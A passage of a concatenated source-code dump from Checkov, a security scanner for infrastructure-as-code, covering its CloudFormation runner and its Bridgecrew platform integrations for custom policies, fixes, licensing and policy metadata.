self.run_graph_checks_results(runner_filter, self.check_type) for check, check_results in checks_results.items(): for check_result in check_results: entity = check_result["entity"] if entity.get(CustomAttributes.BLOCK_TYPE) != BlockType.RESOURCE: continue entity_file_abs_path = entity[CustomAttributes.FILE_PATH] entity_file_path = f"/{os.path.relpath(entity_file_abs_path, root_folder)}" entity_name = entity[CustomAttributes.BLOCK_NAME].split(".")[-1] entity_context = self.context[entity_file_abs_path][TemplateSections.RESOURCES][ entity_name ] skipped_check = next( ( skipped_check for skipped_check in entity_context.get("skipped_checks", []) if skipped_check["id"] in (check.id, check.bc_id) ), None, ) if skipped_check: check_result["result"] = CheckResult.SKIPPED check_result["suppress_comment"] = skipped_check.get("suppress_comment", "") record = Record( check_id=check.id, check_name=check.name, check_result=check_result, code_block=entity_context.get("code_lines"), file_path=entity_file_path, file_line_range=[entity_context.get("start_line"), entity_context.get("end_line")], resource=entity[CustomAttributes.ID], evaluations={}, check_class=check.__class__.__module__, file_abs_path=entity_file_abs_path, entity_tags={} if not entity.get("Tags") else cfn_utils.parse_entity_tags(entity.get("Tags")), severity=check.severity ) if self.breadcrumbs: breadcrumb = self.breadcrumbs.get(record.file_path, {}).get(record.resource) if breadcrumb: record = GraphRecord(record, breadcrumb) record.set_guideline(check.guideline) report.add_record(record=record) return report def extract_images( self, graph_connector: DiGraph | None = None, definitions: dict[str, dict[str, Any] | list[dict[str, Any]]] | None = None, definitions_raw: dict[str, list[tuple[int, str]]] | None = None ) -> list[Image]: if not graph_connector: # should not happen return [] manager = CloudFormationImageReferencerManager(graph_connector=graph_connector) images: list[Image] = manager.extract_images_from_resources() return images ================================================ FILE: checkov/common/__init__.py ================================================ from checkov.common.models import * # noqa ================================================ FILE: checkov/common/bridgecrew/__init__.py ================================================ ================================================ FILE: checkov/common/bridgecrew/bc_source.py ================================================ from dataclasses import dataclass class SourceType: __slots__ = ("name", "upload_results") def __init__(self, name: str, upload_results: bool): self.name = name self.upload_results = upload_results @dataclass class BCSourceType: VSCODE = 'vscode' JETBRAINS = 'jetbrains' CLI = 'cli' KUBERNETES_WORKLOADS = 'kubernetesWorkloads' GITHUB_ACTIONS = 'githubActions' CODEBUILD = 'codebuild' JENKINS = 'jenkins' ADMISSION_CONTROLLER = 'admissionController' CIRCLECI = 'circleci' DISABLED = 'disabled' # use this as a placeholder for generic no-upload logic SourceTypes = { BCSourceType.VSCODE: SourceType(BCSourceType.VSCODE, False), BCSourceType.JETBRAINS: SourceType(BCSourceType.JETBRAINS, False), BCSourceType.CLI: SourceType(BCSourceType.CLI, True), BCSourceType.KUBERNETES_WORKLOADS: SourceType(BCSourceType.KUBERNETES_WORKLOADS, True), BCSourceType.DISABLED: SourceType(BCSourceType.VSCODE, False), BCSourceType.GITHUB_ACTIONS: SourceType(BCSourceType.GITHUB_ACTIONS, True), BCSourceType.CODEBUILD: SourceType(BCSourceType.CODEBUILD, True), BCSourceType.JENKINS: SourceType(BCSourceType.JENKINS, True), BCSourceType.CIRCLECI: SourceType(BCSourceType.CIRCLECI, True), BCSourceType.ADMISSION_CONTROLLER: SourceType(BCSourceType.ADMISSION_CONTROLLER, False) } IDEsSourceTypes = {BCSourceType.VSCODE, BCSourceType.JETBRAINS} def get_source_type(source: str) -> SourceType: # helper method to get the source type with a default - using dict.get is ugly; you have to do: # SourceTypes.get(xyz, SourceTypes[BCSourceType.Disabled]) if source in SourceTypes: return SourceTypes[source] else: return SourceTypes[BCSourceType.CLI] ================================================ FILE: checkov/common/bridgecrew/check_type.py ================================================ from dataclasses import dataclass @dataclass class CheckType: ANSIBLE = "ansible" ARGO_WORKFLOWS = "argo_workflows" ARM = "arm" AZURE_PIPELINES = "azure_pipelines" BICEP = "bicep" BITBUCKET_PIPELINES = "bitbucket_pipelines" CDK = "cdk" CIRCLECI_PIPELINES = "circleci_pipelines" CLOUDFORMATION = "cloudformation" DOCKERFILE = "dockerfile" GITHUB_CONFIGURATION = "github_configuration" GITHUB_ACTIONS = "github_actions" GITLAB_CONFIGURATION = "gitlab_configuration" GITLAB_CI = "gitlab_ci" BITBUCKET_CONFIGURATION = "bitbucket_configuration" HELM = "helm" JSON = "json" YAML = "yaml" KUBERNETES = "kubernetes" KUSTOMIZE = "kustomize" OPENAPI = "openapi" SCA_PACKAGE = "sca_package" SCA_IMAGE = "sca_image" SECRETS = "secrets" SERVERLESS = "serverless" TERRAFORM = "terraform" TERRAFORM_JSON = "terraform_json" TERRAFORM_PLAN = "terraform_plan" SAST = 'sast' SAST_PYTHON = 'sast_python' SAST_JAVA = 'sast_java' SAST_JAVASCRIPT = 'sast_javascript' SAST_TYPESCRIPT = 'sast_typescript' SAST_GOLANG = 'sast_golang' POLICY_3D = "3d_policy" @dataclass class SastType: SAST_PYTHON = 'sast_python' SAST_JAVA = 'sast_java' SAST_JAVASCRIPT = 'sast_javascript' SAST_TYPESCRIPT = 'sast_typescript' SAST_GOLANG = 'sast_golang' # needs to be at the end checkov_runners = [value for attr, value in CheckType.__dict__.items() if not attr.startswith("__")] sast_types = [value for attr, value in SastType.__dict__.items() if not attr.startswith("__")] ================================================ FILE: checkov/common/bridgecrew/code_categories.py ================================================ from enum import Enum from typing import Dict, List, Union from checkov.common.bridgecrew.severities import Severity, BcSeverities, Severities from checkov.common.bridgecrew.check_type import CheckType class CodeCategoryType(str, Enum): IAC = "IAC" VULNERABILITIES = "VULNERABILITIES" SECRETS = "SECRETS" LICENSES = "LICENSES" BUILD_INTEGRITY = "BUILD_INTEGRITY" WEAKNESSES = "WEAKNESSES" CodeCategoryMapping: Dict[str, Union[CodeCategoryType, List[CodeCategoryType]]] = { CheckType.ANSIBLE: CodeCategoryType.IAC, CheckType.ARGO_WORKFLOWS: CodeCategoryType.BUILD_INTEGRITY, CheckType.ARM: CodeCategoryType.IAC, CheckType.AZURE_PIPELINES: CodeCategoryType.BUILD_INTEGRITY, CheckType.BICEP: CodeCategoryType.IAC, CheckType.BITBUCKET_PIPELINES: CodeCategoryType.BUILD_INTEGRITY, CheckType.CDK: CodeCategoryType.WEAKNESSES, CheckType.CIRCLECI_PIPELINES: CodeCategoryType.BUILD_INTEGRITY, CheckType.CLOUDFORMATION: CodeCategoryType.IAC, CheckType.DOCKERFILE: CodeCategoryType.IAC, CheckType.GITHUB_CONFIGURATION: CodeCategoryType.BUILD_INTEGRITY, CheckType.GITHUB_ACTIONS: CodeCategoryType.BUILD_INTEGRITY, CheckType.GITLAB_CONFIGURATION: CodeCategoryType.BUILD_INTEGRITY, CheckType.GITLAB_CI: CodeCategoryType.BUILD_INTEGRITY, CheckType.BITBUCKET_CONFIGURATION: CodeCategoryType.BUILD_INTEGRITY, CheckType.HELM: CodeCategoryType.IAC, CheckType.JSON: CodeCategoryType.IAC, CheckType.YAML: CodeCategoryType.IAC, CheckType.KUBERNETES: CodeCategoryType.IAC, CheckType.KUSTOMIZE: CodeCategoryType.IAC, CheckType.OPENAPI: CodeCategoryType.IAC, CheckType.SCA_PACKAGE: [CodeCategoryType.LICENSES, CodeCategoryType.VULNERABILITIES], CheckType.SCA_IMAGE: [CodeCategoryType.LICENSES, CodeCategoryType.VULNERABILITIES], CheckType.SECRETS: CodeCategoryType.SECRETS, CheckType.SERVERLESS: CodeCategoryType.IAC, CheckType.TERRAFORM: CodeCategoryType.IAC, CheckType.TERRAFORM_JSON: CodeCategoryType.IAC, CheckType.TERRAFORM_PLAN: CodeCategoryType.IAC, CheckType.SAST: CodeCategoryType.WEAKNESSES, CheckType.SAST_PYTHON: CodeCategoryType.WEAKNESSES, CheckType.SAST_JAVA: CodeCategoryType.WEAKNESSES, CheckType.SAST_JAVASCRIPT: CodeCategoryType.WEAKNESSES, CheckType.SAST_TYPESCRIPT: CodeCategoryType.WEAKNESSES, CheckType.SAST_GOLANG: CodeCategoryType.WEAKNESSES, CheckType.POLICY_3D: CodeCategoryType.IAC } class CodeCategoryConfiguration: def __init__(self, category: str, soft_fail_threshold: Severity, hard_fail_threshold: Severity): self.category = category self.soft_fail_threshold = soft_fail_threshold self.hard_fail_threshold = hard_fail_threshold def is_global_soft_fail(self) -> bool: return self.hard_fail_threshold == Severities[BcSeverities.OFF] ================================================ FILE: checkov/common/bridgecrew/integration_features/__init__.py ================================================ from checkov.common.bridgecrew.integration_features.features import * # noqa ================================================ FILE: checkov/common/bridgecrew/integration_features/base_integration_feature.py ================================================ from __future__ import annotations from abc import ABC, abstractmethod from typing import TYPE_CHECKING from checkov.common.bridgecrew.integration_features.integration_feature_registry import integration_feature_registry if TYPE_CHECKING: from argparse import Namespace from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration from checkov.common.output.report import Report from checkov.common.typing import _BaseRunner class BaseIntegrationFeature(ABC): def __init__(self, bc_integration: BcPlatformIntegration, order: int) -> None: self.bc_integration = bc_integration self.order = order integration_feature_registry.register(self) self.integration_feature_failures = False self.config: Namespace | None = None # is set during pre_scan() @abstractmethod def is_valid(self) -> bool: raise NotImplementedError() @abstractmethod def pre_scan(self) -> None: """Runs before any runners""" pass @abstractmethod def pre_runner(self, runner: _BaseRunner) -> None: """Runs before each runner""" pass @abstractmethod def post_runner(self, scan_reports: Report) -> None: """Runs after each runner completes""" pass @abstractmethod def post_scan(self, merged_reports: list[Report]) -> Report | None: """Runs after all runners complete""" pass ================================================ FILE: checkov/common/bridgecrew/integration_features/features/__init__.py ================================================ from os.path import dirname, basename, isfile, join import glob modules = glob.glob(join(dirname(__file__), "*.py")) __all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith('__init__.py')] ================================================ FILE: checkov/common/bridgecrew/integration_features/features/custom_policies_integration.py ================================================ from __future__ import annotations import json import logging import re from collections import defaultdict import tempfile from typing import TYPE_CHECKING, Any, List from checkov.common.bridgecrew.integration_features.base_integration_feature import BaseIntegrationFeature from checkov.common.bridgecrew.platform_integration import bc_integration from checkov.common.bridgecrew.severities import Severities from checkov.common.checks_infra.checks_parser import GraphCheckParser from checkov.common.checks_infra.registry import Registry, get_graph_checks_registry, get_all_graph_checks_registries from checkov.common.util.data_structures_utils import pickle_deepcopy if TYPE_CHECKING: from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration from checkov.common.output.record import Record from checkov.common.output.report import Report from checkov.common.typing import _BaseRunner # service-provider::service-name::data-type-name CFN_RESOURCE_TYPE_IDENTIFIER = re.compile(r"^[a-zA-Z0-9]+::[a-zA-Z0-9]+::[a-zA-Z0-9]+$") SAST_CATEGORY = 'Sast' LICENSES_CATEGORY = 'Licenses' class CustomPoliciesIntegration(BaseIntegrationFeature): def __init__(self, bc_integration: BcPlatformIntegration) -> None: super().__init__(bc_integration=bc_integration, order=1) # must be after policy metadata and before suppression integration self.platform_policy_parser = GraphCheckParser() self.bc_cloned_checks: dict[str, list[dict[str, Any]]] = defaultdict(list) self.policy_level_suppression: List[str] = [] @property def policies_url(self) -> str: return f"{self.bc_integration.api_url}/api/v1/policies/table/data" def is_valid(self) -> bool: return ( self.bc_integration.is_integration_configured() and not self.bc_integration.skip_download and not self.integration_feature_failures ) def pre_scan(self) -> None: try: if not self.bc_integration.customer_run_config_response: logging.debug('In the pre-scan for custom policies, but nothing was fetched from the platform') self.integration_feature_failures = True return policies = self.bc_integration.customer_run_config_response.get('customPolicies') sast_policies_dir = tempfile.mkdtemp() self.bc_integration.sast_custom_policies = sast_policies_dir for policy in policies: try: logging.debug(f"Loading policy id: {policy.get('id')}") if policy.get('category') == SAST_CATEGORY: with open(f"{sast_policies_dir}/{policy.get('id')}.yaml", 'a') as f: f.write(policy.get('code')) continue converted_check = self._convert_raw_check(policy) source_incident_id = policy.get('sourceIncidentId') if source_incident_id: policy['severity'] = Severities[policy['severity']] self.bc_cloned_checks[source_incident_id].append(policy) continue resource_types = Registry._get_resource_types(converted_check['metadata']) if policy.get('category') == LICENSES_CATEGORY: continue check = self.platform_policy_parser.parse_raw_check(converted_check, resources_types=resource_types) check.severity = Severities[policy['severity']] check.bc_id = check.id if check.frameworks: for f in check.frameworks: if f.lower() == "cloudformation": get_graph_checks_registry("cloudformation").checks.append(check) elif f.lower() == "terraform": get_graph_checks_registry("terraform").checks.append(check) elif f.lower() == "kubernetes": get_graph_checks_registry("kubernetes").checks.append(check) elif f.lower() == "bicep": get_graph_checks_registry("bicep").checks.append(check) elif f.lower() == "arm": get_graph_checks_registry("arm").checks.append(check) else: for registry in get_all_graph_checks_registries(): registry.checks.append(check) except Exception: logging.debug(f"Failed to load policy id: {policy.get('id')}", exc_info=True) logging.debug(f'Found {len(policies)} custom policies from the platform.') except Exception: self.integration_feature_failures = True logging.debug("Scanning without applying custom policies from the platform.", exc_info=True) @staticmethod def _convert_raw_check(policy: dict[str, Any]) -> dict[str, Any]: metadata = { 'id': policy['id'], 'name': policy['title'], 'category': policy['category'], 'frameworks': policy.get('frameworks', []), 'scope': {'provider': policy.get('provider', '').lower()} } check = { 'metadata': metadata, 'definition': json.loads(policy['code']) } return check def post_runner(self, scan_report: Report) -> None: if self.bc_cloned_checks: scan_report.failed_checks = self.extend_records_with_cloned_policies(scan_report.failed_checks) scan_report.passed_checks = self.extend_records_with_cloned_policies(scan_report.passed_checks) scan_report.skipped_checks = self.extend_records_with_cloned_policies(scan_report.skipped_checks) def extend_records_with_cloned_policies(self, records: list[Record]) -> list[Record]: bc_check_ids = [record.bc_check_id for record in records] for idx, bc_check_id in enumerate(bc_check_ids): cloned_policies = self.bc_cloned_checks.get(bc_check_id, []) # type:ignore[arg-type] # bc_check_id can be None logging.debug('Cloned policies to be deep copied:') logging.debug(cloned_policies) logging.debug('From origin policy:') logging.debug(records[idx].get_unique_string()) for cloned_policy in cloned_policies: new_record = pickle_deepcopy(records[idx]) new_record.check_id = cloned_policy['id'] new_record.bc_check_id = cloned_policy['id'] new_record.guideline = cloned_policy['guideline'] new_record.severity = cloned_policy['severity'] new_record.check_name = cloned_policy['title'] records.append(new_record) policy_level_suppression_check_ids = self.convert_suppression_ids_to_bc_check_ids() records = [record for record in records if record.bc_check_id not in policy_level_suppression_check_ids] # Filter out policy level suppressions after cloned policy is added return records def convert_suppression_ids_to_bc_check_ids(self) -> List[str]: return ["_".join(policy.split('_')[:-1]) for policy in self.policy_level_suppression] def pre_runner(self, runner: _BaseRunner) -> None: # not used pass def post_scan(self, merged_reports: list[Report]) -> None: # not used pass integration = CustomPoliciesIntegration(bc_integration) ================================================ FILE: checkov/common/bridgecrew/integration_features/features/fixes_integration.py ================================================ from __future__ import annotations import json import logging from collections.abc import Iterable from itertools import groupby from typing import TYPE_CHECKING, Any from urllib3 import PoolManager from urllib3.exceptions import ProtocolError from checkov.common.bridgecrew.integration_features.base_integration_feature import BaseIntegrationFeature from checkov.common.bridgecrew.integration_features.features.policy_metadata_integration import integration as metadata_integration from checkov.common.bridgecrew.platform_integration import bc_integration from checkov.common.util.data_structures_utils import merge_dicts from checkov.common.util.http_utils import extract_error_message, get_default_post_headers if TYPE_CHECKING: from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration from checkov.common.output.record import Record from checkov.common.output.report import Report from checkov.common.typing import _BaseRunner SUPPORTED_FIX_FRAMEWORKS = ['terraform', 'cloudformation'] class FixesIntegration(BaseIntegrationFeature): def __init__(self, bc_integration: BcPlatformIntegration) -> None: super().__init__(bc_integration=bc_integration, order=10) @property def fixes_url(self) -> str: return f"{self.bc_integration.api_url}/api/v1/fixes/checkov" def is_valid(self) -> bool: return ( self.bc_integration.is_integration_configured() and not self.bc_integration.skip_fixes and not self.bc_integration.on_prem and not self.bc_integration.skip_download and not self.integration_feature_failures ) def post_runner(self, scan_report: Report) -> None: try: if scan_report.check_type not in SUPPORTED_FIX_FRAMEWORKS: return self._get_platform_fixes(scan_report) except Exception: self.integration_feature_failures = True logging.debug("Fixes will not be applied.", exc_info=True) def _get_platform_fixes(self, scan_report: Report) -> None: # We might want to convert this to one call for all results (all files), but then we would also have to deal # with repo size issues. Because the primary use case for this at the moment is VSCode integration, which # runs one file at a time, this can wait. sorted_by_file = sorted(scan_report.failed_checks, key=lambda c: c.file_abs_path) for file, sorted_failed_checks in groupby(sorted_by_file, key=lambda c: c.file_abs_path): failed_checks = [fc for fc in sorted_failed_checks if fc.check_id in metadata_integration.check_metadata] if not failed_checks: continue with open(file, 'r') as reader: file_contents = reader.read() fixes = self._get_fixes_for_file(scan_report.check_type, file, file_contents, failed_checks) if not fixes: continue all_fixes = fixes['fixes'] # a mapping of (checkov_check_id, resource_id) to the failed check Record object for lookup later # guaranteed to map to exactly one record failed_check_by_check_resource: dict[tuple[str, str], Record] = { k: list(v)[0] for k, v in groupby(failed_checks, key=lambda c: (c.check_id, c.resource)) } for fix in all_fixes: ckv_id = metadata_integration.get_ckv_id_from_bc_id(fix['policyId']) if not ckv_id: logging.debug(f"BC ID {fix['policyId']} has no checkov ID - might be a cloned policy") ckv_id = fix.get('policyId', '') failed_check = failed_check_by_check_resource.get((ckv_id, fix['resourceId'])) # ckv_id is not None here if not failed_check: logging.warning(f'Could not find the corresponding failed check for the fix for ID {ckv_id} and resource {fix["resourceId"]}') continue failed_check.fixed_definition = fix['fixedDefinition'] def _get_fixes_for_file( self, check_type: str, filename: str, file_contents: str, failed_checks: Iterable[Record] ) -> dict[str, Any] | None: if not self.bc_integration.bc_source: logging.error("Source was not set") return None errors = list(map(lambda c: { 'resourceId': c.resource, 'policyId': metadata_integration.get_bc_id(c.check_id) or c.check_id, 'startLine': c.file_line_range[0], 'endLine': c.file_line_range[1] }, failed_checks)) payload = { 'filePath': filename, 'fileContent': file_contents, 'framework': check_type, 'errors': errors } logging.debug(f'Payload for fixes API: file_path: {filename}, fileContent: {file_contents}, framework: {check_type}, errors: {errors}') headers = merge_dicts( get_default_post_headers(self.bc_integration.bc_source, self.bc_integration.bc_source_version), {"Authorization": self.bc_integration.get_auth_token()}, self.bc_integration.custom_auth_headers ) if not self.bc_integration.http: raise AttributeError("HTTP manager was not correctly created") try: logging.debug(f'Calling fixes API with payload: {json.dumps(payload)}, headers: {headers}, url: {self.fixes_url}') request = self.bc_integration.http.request("POST", self.fixes_url, headers=headers, body=json.dumps(payload)) # type:ignore[no-untyped-call] # When running via IDE we can fail here in case of running with -d when the poolManager is broken except ProtocolError as e: logging.error(f'Get fixes request for file {filename} failed with response code error: {e}') if isinstance(self.bc_integration.http, PoolManager): self.bc_integration.http = None self.bc_integration.setup_http_manager( self.bc_integration.ca_certificate, self.bc_integration.no_cert_verify ) request = self.bc_integration.http.request("POST", self.fixes_url, headers=headers, body=json.dumps(payload)) # type:ignore else: return None if request.status != 200: error_message = extract_error_message(request) logging.error(f'Get fixes request for file {filename} failed with response code {request.status}: {error_message} - skipping fixes for this file') return None logging.debug(f'Response from fixes API: {request.data}') fixes: list[dict[str, Any]] | None = json.loads(request.data) if request.data else None if not fixes or not isinstance(fixes, list): logging.warning(f'Unexpected fixes API response for file {filename}; skipping fixes for this file') return None return fixes[0] def pre_scan(self) -> None: # not used pass def pre_runner(self, runner: _BaseRunner) -> None: # not used pass def post_scan(self, merged_reports: list[Report]) -> None: # not used pass integration = FixesIntegration(bc_integration) ================================================ FILE: checkov/common/bridgecrew/integration_features/features/licensing_integration.py ================================================ from __future__ import annotations import logging from typing import TYPE_CHECKING, List, cast from checkov.common.bridgecrew.code_categories import CodeCategoryMapping, CodeCategoryType from checkov.common.bridgecrew.integration_features.base_integration_feature import BaseIntegrationFeature from checkov.common.bridgecrew.licensing import CategoryToSubscriptionMapping, CustomerSubscription, \ open_source_categories from checkov.common.bridgecrew.platform_integration import bc_integration if TYPE_CHECKING: from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration from checkov.common.output.report import Report from checkov.common.typing import _BaseRunner LICENSE_KEY = 'platformLicense' MODULES_KEY = 'modules' class LicensingIntegration(BaseIntegrationFeature): def __init__(self, bc_integration: BcPlatformIntegration) -> None: super().__init__(bc_integration=bc_integration, order=6) self.enabled_modules: List[CustomerSubscription] = [] self.open_source_only: bool = True @property def billing_plan(self) -> None: # Deprecated, already calculated in the BE into the enabled_modules list return None def is_valid(self) -> bool: # We will always use this integration to determine what runs or not return True def pre_scan(self) -> None: if not self.bc_integration.bc_api_key: logging.debug('Running without API key, so only open source runners will be enabled') self.open_source_only = True elif not self.bc_integration.customer_run_config_response: logging.debug('Customer run config response does not exist, but there is an API key, so there may be some integration issue. Proceeding with open source runners.') self.open_source_only = True else: logging.debug('Found customer run config and using it for licensing') license_details = self.bc_integration.customer_run_config_response.get(LICENSE_KEY) logging.debug(f'User license details: {license_details}') self.open_source_only = False # the API will return True for all modules if they are on resource mode, so we don't actually need the billing plan explicitly here self.enabled_modules = [CustomerSubscription(m) for m, e in license_details.get(MODULES_KEY).items() if e] def is_runner_valid(self, runner_check_type: str) -> bool: logging.debug(f'Checking if {runner_check_type} is valid for license') if self.open_source_only: enabled = CodeCategoryMapping[runner_check_type] in open_source_categories # new secrets are disabled, but the runner is valid logging.debug(f'Open source mode - the runner is {"en" if enabled else "dis"}abled') else: sub_type = LicensingIntegration.get_subscription_for_runner(runner_check_type) enabled = sub_type in self.enabled_modules logging.debug(f'Customer mode - the {sub_type} subscription is {"en" if enabled else "dis"}abled') return enabled def should_run_image_referencer(self) -> bool: return not self.open_source_only and CustomerSubscription.SCA in self.enabled_modules @staticmethod def get_subscription_for_runner(runner_check_type: str) -> CustomerSubscription: if 'sca_' in runner_check_type: # SCA runners currently have two CodeCategoryTypes return CustomerSubscription.SCA else: return CategoryToSubscriptionMapping[cast(CodeCategoryType, CodeCategoryMapping[runner_check_type])] def post_runner(self, scan_report: Report) -> None: pass def pre_runner(self, runner: _BaseRunner) -> None: pass def post_scan(self, merged_reports: list[Report]) -> None: # not used pass integration = LicensingIntegration(bc_integration) ================================================ FILE: checkov/common/bridgecrew/integration_features/features/policies_3d_integration.py ================================================ from __future__ import annotations import json import logging from typing import TYPE_CHECKING, Any from checkov.common.bridgecrew.integration_features.base_integration_feature import BaseIntegrationFeature from checkov.common.bridgecrew.platform_integration import bc_integration from checkov.policies_3d.checks_parser import Policy3dParser from checkov.policies_3d.runner import Policy3dRunner if TYPE_CHECKING: from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration from checkov.common.output.report import Report from checkov.common.typing import _BaseRunner class Policies3DIntegration(BaseIntegrationFeature): def __init__(self, bc_integration: BcPlatformIntegration) -> None: super().__init__(bc_integration=bc_integration, order=11) self.platform_policy_parser = Policy3dParser() def is_valid(self) -> bool: return ( self.bc_integration.is_integration_configured() and not self.bc_integration.skip_download and not self.integration_feature_failures ) def should_run_image_referencer(self) -> bool: return True def pre_scan(self) -> None: # not used pass def pre_runner(self, runner: _BaseRunner) -> None: # not used pass def post_runner(self, scan_report: Report) -> None: # not used pass @staticmethod def _convert_raw_check(policy: dict[str, Any]) -> dict[str, Any]: metadata = { 'id': policy['id'], 'name': policy['title'], 'category': policy['category'], 'guideline': policy['guideline'], 'severity': policy['severity'] } check = { 'metadata': metadata, 'definition': json.loads(policy['code']) } return check def post_scan(self, scan_reports: list[Report]) -> Report | None: try: if not self.bc_integration.customer_run_config_response: logging.debug('In the post scan for 3d policies, but nothing was fetched from the platform') self.integration_feature_failures = True return None policies = self.bc_integration.customer_run_config_response.get('Policies3D') logging.debug(f'Got {len(policies)} 3d policies from the platform.') if not policies: return None runner = Policy3dRunner() report = runner.run_v2(raw_checks=policies, scan_reports=scan_reports) return report except Exception as e: self.integration_feature_failures = True logging.debug(f'Scanning without applying 3d policies from the platform.\n{e}') return None integration = Policies3DIntegration(bc_integration) ================================================ FILE: checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py ================================================ from __future__ import annotations import json import logging from typing import TYPE_CHECKING, Any, cast from checkov.common.bridgecrew.check_type import CheckType from checkov.common.checks_infra.registry import get_graph_checks_registry from checkov.common.bridgecrew.integration_features.base_integration_feature import BaseIntegrationFeature from checkov.common.bridgecrew.platform_integration import bc_integration from checkov.common.bridgecrew.severities import Severities, get_severity from checkov.common.checks.base_check_registry import BaseCheckRegistry if TYPE_CHECKING: from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration from checkov.common.bridgecrew.severities import Severity from checkov.common.output.report import Report from checkov.common.typing import _BaseRunner class PolicyMetadataIntegration(BaseIntegrationFeature): def __init__(self, bc_integration: BcPlatformIntegration) -> None: super().__init__(bc_integration=bc_integration, order=0) self.check_metadata: dict[str, Any] = {} self.sast_check_metadata: dict[str, Any] = {} self.bc_to_ckv_id_mapping: dict[str, str] = {} self.pc_to_ckv_id_mapping: dict[str, str] = {} self.ckv_id_to_source_incident_id_mapping: dict[str, str] = {} self.severity_key = 'severity' self.filtered_policy_ids: list[str] = [] self.filtered_exception_policy_ids: list[str] = [] def is_valid(self) -> bool: return ( not self.bc_integration.skip_download and not self.integration_feature_failures ) def pre_scan(self) -> None: try: if self.bc_integration.customer_run_config_response: self._handle_customer_run_config(self.bc_integration.customer_run_config_response) if self.bc_integration.is_prisma_integration(): # build a list of policy ids included using the --prisma-metadata-filter flag self._handle_customer_prisma_policy_metadata(self.bc_integration.prisma_policies_response, exclude_policies=False) # build a list of policy ids excluded using the --prisma-metadata-filter-exception flag self._handle_customer_prisma_policy_metadata(self.bc_integration.prisma_policies_exception_response, exclude_policies=True) elif self.bc_integration.public_metadata_response: self._handle_public_metadata(self.bc_integration.public_metadata_response) else: logging.debug('In the pre-scan for policy metadata, but nothing was fetched from the platform') self.integration_feature_failures = True return all_checks = BaseCheckRegistry.get_all_registered_checks() if self.config and self.config.framework and "all" not in self.config.framework: registries = self.config.framework if CheckType.TERRAFORM_PLAN in registries and CheckType.TERRAFORM not in registries: registries.append(CheckType.TERRAFORM) else: registries = (CheckType.TERRAFORM, CheckType.CLOUDFORMATION, CheckType.KUBERNETES, CheckType.BICEP, CheckType.TERRAFORM_PLAN) for r in registries: registry = get_graph_checks_registry(r) registry.load_checks() all_checks += registry.checks use_prisma_metadata = self.bc_integration.is_prisma_integration() if use_prisma_metadata: self.severity_key = 'pcSeverity' for check in all_checks: checkov_id = check.id metadata = self.get_policy_metadata(checkov_id) if metadata: check.bc_id = metadata.get('id') check.guideline = metadata.get('guideline') # fall back on plain severity if there is no PC severity check.severity = get_severity(metadata.get(self.severity_key, metadata.get('severity'))) check.bc_category = metadata.get('category') check.benchmarks = metadata.get('benchmarks') if use_prisma_metadata and metadata.get('descriptiveTitle'): check.name = metadata['descriptiveTitle'] else: check.bc_id = None except Exception: self.integration_feature_failures = True logging.debug('An error occurred loading policy metadata. Some metadata may be missing from the run.', exc_info=True) def get_bc_id(self, checkov_id: str) -> str: return cast(str, self.check_metadata.get(checkov_id, {}).get('id')) def get_guideline(self, checkov_id: str) -> str: return cast(str, self.check_metadata.get(checkov_id, {}).get('guideline')) def get_severity(self, checkov_id: str) -> Severity | None: severity: str | Severity | None = self.check_metadata.get(checkov_id, {}).get(self.severity_key) if not severity: severity = self.check_metadata.get(checkov_id, {}).get('severity') if severity and isinstance(severity, str): return Severities[severity] # not all runners register their checks in time for being processed above return cast(None, severity) def get_category(self, checkov_id: str) -> str: return cast(str, self.check_metadata.get(checkov_id, {}).get('category')) def get_benchmarks(self, checkov_id: str) -> dict[str, list[str]] | None: return cast("dict[str, list[str]] | None", self.check_metadata.get(checkov_id, {}).get('benchmarks')) def get_prisma_policy_title(self, checkov_id: str) -> str: return cast(str, self.check_metadata.get(checkov_id, {}).get('descriptiveTitle')) def get_policy_metadata(self, checkov_id: str) -> dict[str, Any] | None: return self.check_metadata.get(checkov_id) def get_ckv_id_from_bc_id(self, bc_id: str) -> str | None: return self.bc_to_ckv_id_mapping.get(bc_id) def get_ckv_id_from_pc_id(self, pc_id: str) -> str | None: return self.pc_to_ckv_id_mapping.get(pc_id) def get_source_incident_id_from_ckv_id(self, ckv_id: str) -> str | None: return self.ckv_id_to_source_incident_id_mapping.get(ckv_id) def _handle_public_metadata(self, check_metadata: dict[str, Any]) -> None: guidelines = check_metadata['guidelines'] self.bc_to_ckv_id_mapping = check_metadata['idMapping'] for ckv_id, guideline in guidelines.items(): self.check_metadata[ckv_id] = { 'guideline': guideline } for bc_id, ckv_id in self.bc_to_ckv_id_mapping.items(): if ckv_id in self.check_metadata: self.check_metadata[ckv_id]['id'] = bc_id else: self.check_metadata[ckv_id] = { 'id': bc_id } def _handle_customer_run_config(self, run_config: dict[str, Any]) -> None: self.check_metadata = run_config['policyMetadata'] for ckv_id, pol in self.check_metadata.items(): if 'SAST' in ckv_id: self.sast_check_metadata[ckv_id] = pol self.bc_to_ckv_id_mapping[pol['id']] = ckv_id if self.bc_integration.is_prisma_integration() and pol.get('pcPolicyId'): self.pc_to_ckv_id_mapping[pol['pcPolicyId']] = ckv_id # Custom policies are returned in run_config['customPolicies'] rather than run_config['policyMetadata']. if 'customPolicies' in run_config: for custom_policy in run_config['customPolicies']: custom_policy_check_metadata = { 'severity': custom_policy.get('severity'), 'guideline': custom_policy.get('guideline') } self.check_metadata[custom_policy['id']] = {k: v for k, v in custom_policy_check_metadata.items() if v is not None} pc_policy_id = custom_policy.get('pcPolicyId') if pc_policy_id: self.pc_to_ckv_id_mapping[pc_policy_id] = custom_policy['id'] source_incident_id = custom_policy.get('sourceIncidentId') if source_incident_id: self.ckv_id_to_source_incident_id_mapping[custom_policy['id']] = source_incident_id def _handle_customer_prisma_policy_metadata(self, prisma_policy_metadata: list[dict[str, Any]], exclude_policies: bool) -> None: policy_ids = list() if isinstance(prisma_policy_metadata, list): for metadata in prisma_policy_metadata: logging.debug(f"Parsing filtered_policy_ids from metadata: {json.dumps(metadata)}") pc_id = metadata.get('policyId') if pc_id: ckv_id = self.get_ckv_id_from_pc_id(pc_id) if ckv_id: policy_ids.append(ckv_id) if exclude_policies: self.filtered_exception_policy_ids = policy_ids 